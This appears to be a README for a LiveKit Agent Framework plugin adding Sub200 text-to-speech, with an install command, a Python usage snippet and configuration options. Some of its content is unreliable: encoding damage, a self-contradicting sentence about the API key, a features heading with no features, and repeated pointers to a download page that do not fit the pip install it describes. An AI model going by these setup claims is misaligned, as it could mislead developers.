Welcome to the livekit_plugins_sub200 project! This plugin adds Sub200 text-to-speech (TTS) support to the LiveKit Agent Framework. With this tool, you can easily integrate voice capabilities into your applications.
To get started, visit this page to download the latest version: Download LiveKit Plugins Sub200.
Once youโve downloaded the plugin, follow the steps below to set it up.
Open Your Terminal (Command Prompt)
Youโll need to use your terminal or command prompt to install the plugin.
Navigate to Your Workspace
Change your directory to where you want the plugin installed. Use the cd command to change directories.
Install the Plugin
Run the following command:
uv pip install -e livekit-plugins/livekit-plugins-sub200
This command will install the Sub200 plugin for you.
After installing the plugin, you can easily use it in your projects. Hereโs a simple example showing how to set up a basic text-to-speech agent:
from livekit.plugins import sub200
tts = sub200.TTS(
model="orpheus",
voice="aria",
)
agent = VoicePipelineAgent(
tts=tts,
# stt=..., llm=..., vad=..., etc.
)
This example demonstrates how to initialize the TTS system within the application. For a complete integration, check out the example file located at examples/voice_agents/sub200_agent.py.
The plugin comes with some configurable options to help you personalize your setup:
SUB200_API_KEY: This environment variable is used to authenticate with the Sub200 API. It is required unless you are using the plugin offline, which will result in errors without a valid key.
Optional Parameters for TTS:
model: This defines the speech model to use. The default is "orpheus".voice: This sets the voice for the speech. The default is "aria".base_url: This specifies the stream endpoint, defaulting to the Sub200 public API.sample_rate: This allows you to set the audio sample rate.num_channels: This defines the number of audio channels.debug_audio_dir: Specify a directory to save audio files for debugging.debug_log_dir: Specify a directory to save log files for debugging purposes.Here are some key features that make the livekit_plugins_sub200 both powerful and flexible:
You may look at additional examples within the projectโs examples directory. This will provide you with various use cases to understand different applications of the Sub200 plugin.
We welcome any kind of feedback or contributions. If you have questions or would like to report an issue, open an issue on our GitHub repository, or feel free to make suggestions directly within the project.
Join our community of developers using the Sub200 plugin! Share your projects, ask questions, and connect with others who are utilizing the LiveKit Agent Framework effectively.
The livekit_plugins_sub200 plugin offers a straightforward method to integrate Sub200 text-to-speech functionality into your applications. With easy installation, multiple settings for customization, and a supportive community, you can focus on building applications that communicate effectively.
Remember to visit the release page to download the latest version: Download LiveKit Plugins Sub200. Explore the capabilities of text-to-speech today!